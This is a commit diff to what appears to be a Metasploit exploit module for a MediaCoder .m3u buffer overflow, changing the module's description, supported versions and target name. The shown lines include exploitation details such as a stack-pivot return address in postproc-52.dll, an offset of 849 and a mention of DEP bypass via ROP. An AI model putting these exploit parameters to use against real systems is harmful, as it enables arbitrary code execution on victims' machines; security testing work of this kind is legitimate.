change target from win7 sp1 to win7 sp0, fix description

Author: modpr0be

modules/exploits/windows/fileformat/mediacoder_m3u.rb

@@ -16,11 +16,11 @@ def initialize(info = {})
 		super(update_info(info,
 			'Name'           => 'MediaCoder .M3U Buffer Overflow',
 			'Description'    => %q{
-					This module exploits a buffer overflow in MediaCoder 0.8.23. The vulnerability
+					This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability
 				occurs when adding an .m3u, allowing arbitrary code execution under the context
 				of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder
-				runs with DEP. This module has been tested successfully on MediaCoder 0.8.23.5530
-				over Windows XP SP3 and Windows 7 SP1.
+				runs with DEP. This module has been tested successfully on MediaCoder 0.8.21.5539
+				to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0.
 			},
 			'License'        => MSF_LICENSE,
 			'Author'         =>
@@ -36,7 +36,7 @@ def initialize(info = {})
 				],
 			'DefaultOptions'  =>
 				{
-					'EXITFUNC' => 'seh'
+					'EXITFUNC' => 'seh',
 				},
 			'Platform'       => 'win',
 			'Payload'        =>
@@ -48,7 +48,7 @@ def initialize(info = {})
 				},
 			'Targets'        =>
 				[
-					[ 'MediaCoder 0.8.23.5530 / Windows XP SP3 / Windows 7 SP1',
+					[ 'MediaCoder 0.8.21 - 0.8.22 / Windows XP SP3 / Windows 7 SP0',
 						{
 							'Ret'		=> 0x6afd4435, # stack pivot (add esp,7ac;pop pop pop pop ret from postproc-52.dll)
 							'Offset'	=> 849,